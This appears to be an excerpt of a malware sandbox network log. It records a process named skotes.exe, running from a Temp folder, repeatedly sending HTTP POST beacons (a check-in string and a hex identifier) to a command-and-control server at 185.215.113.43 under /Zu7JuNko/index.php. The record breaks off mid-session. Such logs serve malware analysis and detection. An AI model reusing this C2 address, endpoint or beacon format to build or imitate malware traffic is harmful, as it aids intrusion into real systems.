Nov 18, 2024 04:45:21.632853031 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:45:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.6	50595	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:45:23.251995087 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 04:45:24.160896063 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:45:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.6	50596	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:45:25.687120914 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 42 37 31 42 32 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB22B71B25E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 18, 2024 04:45:26.598395109 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:45:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.6	50597	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:45:28.220772028 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 04:45:29.145386934 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:45:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.6	50598	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:45:30.675036907 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 42 37 31 42 32 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB22B71B25E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 18, 2024 04:45:31.597393990 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:45:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.6	50599	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:45:33.228005886 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 04:45:34.145152092 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:45:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.6	50600	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:45:35.662435055 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 42 37 31 42 32 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB22B71B25E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 18, 2024 04:45:36.593511105 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:45:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.6	50601	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:45:38.218126059 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 04:45:39.128869057 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:45:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.6	50602	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:45:40.646189928 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 42 37 31 42 32 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB22B71B25E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 18, 2024 04:45:41.547010899 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:45:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.6	50603	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:45:43.181060076 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 04:45:44.103246927 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:45:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.6	50604	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:45:45.632569075 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 42 37 31 42 32 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB22B71B25E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 18, 2024 04:45:46.546674967 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:45:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.6	50605	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:45:48.165997028 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 04:45:49.076996088 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:45:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.6	50606	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:45:50.599163055 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 42 37 31 42 32 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB22B71B25E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 18, 2024 04:45:51.501480103 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:45:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.6	50607	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:45:53.135742903 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 04:45:54.058952093 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:45:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.6	50608	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:45:55.586297035 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 42 37 31 42 32 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB22B71B25E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 18, 2024 04:45:56.500104904 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:45:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.6	50609	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:45:58.120999098 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 04:45:59.117104053 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:45:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.6	50611	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:46:00.638827085 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 42 37 31 42 32 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB22B71B25E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 18, 2024 04:46:01.569545984 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:46:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.6	50612	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:46:03.193479061 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 04:46:04.103013039 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:46:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.6	50613	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:46:05.624511003 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 42 37 31 42 32 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB22B71B25E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 18, 2024 04:46:06.540110111 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:46:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.6	50614	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:46:08.180537939 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 04:46:09.089765072 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:46:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.6	50615	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:46:10.614686966 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 42 37 31 42 32 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB22B71B25E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 18, 2024 04:46:11.547573090 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:46:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.6	50617	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:46:13.170284033 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 04:46:14.081506968 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:46:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.6	50618	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:46:15.606156111 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 42 37 31 42 32 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB22B71B25E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 18, 2024 04:46:16.505264997 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:46:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.6	50619	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:46:18.144419909 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 04:46:19.049684048 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 03:46:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.6	50620	185.215.113.43	80	8492	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
